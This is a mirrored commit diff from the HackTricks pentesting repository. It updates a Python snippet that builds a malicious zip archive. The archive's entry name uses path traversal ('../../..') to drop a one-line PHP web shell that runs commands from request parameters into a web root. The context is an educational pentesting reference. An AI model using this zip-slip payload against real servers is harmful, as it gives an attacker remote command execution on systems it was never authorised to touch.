mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 06:00:40 +00:00
GITBOOK-3950: change request with no subject merged in GitBook
This commit is contained in:
parent
28e205b34c
commit
0a0edcec2e
1 changed files with 2 additions and 2 deletions
|
@ -261,10 +261,10 @@ Some python code to create a malicious zip:
|
|||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
from cStringIO import StringIO
|
||||
from io import BytesIO
|
||||
|
||||
def create_zip():
|
||||
f = StringIO()
|
||||
f = BytesIO()
|
||||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||||
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
|
||||
z.writestr('otherfile.xml', 'Content of the file')
|
||||
|
|
Loading…
Reference in a new issue